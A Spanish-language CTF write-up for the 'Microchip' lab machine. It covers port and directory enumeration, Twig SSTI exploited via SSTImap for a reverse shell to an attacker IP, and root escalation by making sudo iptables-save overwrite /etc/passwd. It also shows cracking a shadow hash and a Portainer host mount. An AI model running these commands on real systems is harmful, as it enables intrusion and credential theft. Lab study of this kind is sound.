Write-ups

Resolución del CTF: Microchip


Enumeración

Escaneo de puertos

Realizamos un escaneo de todos los puertos para identificar los servicios activos en el sistema objetivo. Al tratarse de un entorno de laboratorio, priorizamos velocidad y enumeración exhaustiva para detectar rápidamente superficies de ataque expuestas.

nmap -p- --open -sCV -Pn -n --min-rate 5000 192.168.0.110
  • -p- : Escaneo de todos los puertos. (65535)
  • -sS : Realiza un TCP SYN Scan para escanear rápidamente qué puertos están abiertos.
  • -sC : Escaneo con scripts básicos de reconocimiento.
  • -sV : Detección de servicios.
  • –min-rate 5000 : Escaneo no inferior a 5000 paquetes/segundo.
  • -n : Sin resolución DNS.
  • -Pn : Sin descubrimiento por ping.

El escaneo revela servicios HTTP, SSH, MySQL y un panel web adicional en el puerto 9000. La presencia de un dominio virtual obliga a resolver el nombre para interactuar correctamente con la aplicación web.

Enumeración Web

El servicio HTTP redirige a un virtual host, por lo que añadimos manualmente la resolución local para garantizar que las peticiones HTTP se procesen por la aplicación correcta.

echo "192.168.0.110 microchip.thl" | sudo tee -a /etc/hosts

Una vez resuelto el dominio, identificamos que la aplicación corresponde a PrestaShop. Procedemos a enumerar rutas para localizar componentes internos accesibles que no estén pensados para exposición directa.

gobuster dir -u http://microchip.thl -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html

Entre los directorios listados, /src expone código interno de la aplicación. Dentro de este árbol se identifica el uso de Twig como motor de plantillas, lo que abre la posibilidad de una inyección de plantillas del lado servidor.

Explotación

Localizamos un parámetro reflejado por la aplicación que es procesado directamente por Twig. Al no existir un filtrado adecuado, el campo es vulnerable a Server Side Template Injection, permitiendo ejecución de comandos en el contexto del servidor web.

Para automatizar la explotación y reducir ruido manual, utilizamos SSTImap, que detecta el motor de plantillas y selecciona la técnica adecuada de ejecución remota.

git clone https://github.com/vladko312/SSTImap && cd SSTImap

Preparamos un listener local para recibir la conexión inversa una vez se ejecute el payload remoto.

nc -lvnp 1234

Lanzamos SSTImap indicando el parámetro vulnerable y solicitamos una reverse shell hacia nuestra máquina.

./sstimap.py -u "http://microchip.thl/index.php?user_input=hola" -R 192.168.0.95 1234

Obtenemos una shell como www-data. Procedemos a estabilizarla para trabajar de forma interactiva y evitar cortes durante la post-explotación.

SHELL=/bin/bash script -q /dev/null
stty raw -echo && fg
reset && export TERM=xterm

Escalada de privilegios

Enumerando privilegios detectamos que el usuario www-data puede ejecutar iptables y iptables-save con sudo. Esta combinación permite escribir archivos arbitrarios como root abusando de los comentarios persistentes en reglas de firewall.

Primero generamos un hash válido para una contraseña conocida que usaremos en la entrada falsificada de /etc/passwd.

openssl passwd -1 password123

Inyectamos una regla de iptables cuyo comentario contiene una línea completa con formato válido de usuario root. El uso de $'\\n' permite introducir saltos de línea reales en el comentario.

sudo iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'\nroot:$1$n9kebw3E$oS1zMv7qsVoWrSm7m/9fK1:0:0:root:/root:/bin/bash\n'

Volcamos las reglas directamente sobre /etc/passwd. Al ejecutarse con sudo, el fichero queda sobrescrito como root incluyendo nuestra entrada controlada.

sudo iptables-save -f /etc/passwd

Con la entrada ya escrita, cambiamos a root utilizando la contraseña generada previamente.

su root

Credenciales y acceso adicional

Desde root accedemos a /etc/shadow y extraemos el hash del usuario kike. El hash se crackea fuera de la máquina para evitar consumo innecesario de recursos en el objetivo.

john --format=sha512crypt hashkike.txt --wordlist=/usr/share/wordlists/rockyou.txt

Las credenciales obtenidas permiten acceso SSH directo al sistema.

ssh [email protected]

Abuso de Portainer

El servicio expuesto en el puerto 9000 corresponde a Portainer. Reutilizamos las credenciales obtenidas para autenticarnos como administrador y desplegar un contenedor con un bind mount al sistema raíz del host.

Montando / del host en /mnt/root dentro del contenedor, obtenemos acceso de escritura a los ficheros críticos del sistema desde el propio contenedor.

sed -i 's|^root:.*|root:$1$n9kebw3********m/9fK1:0:0:root:/root:/bin/bash|' /mnt/root/etc/passwd

Con esto garantizamos acceso persistente como root directamente sobre el host, completando el compromiso total del sistema.


Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *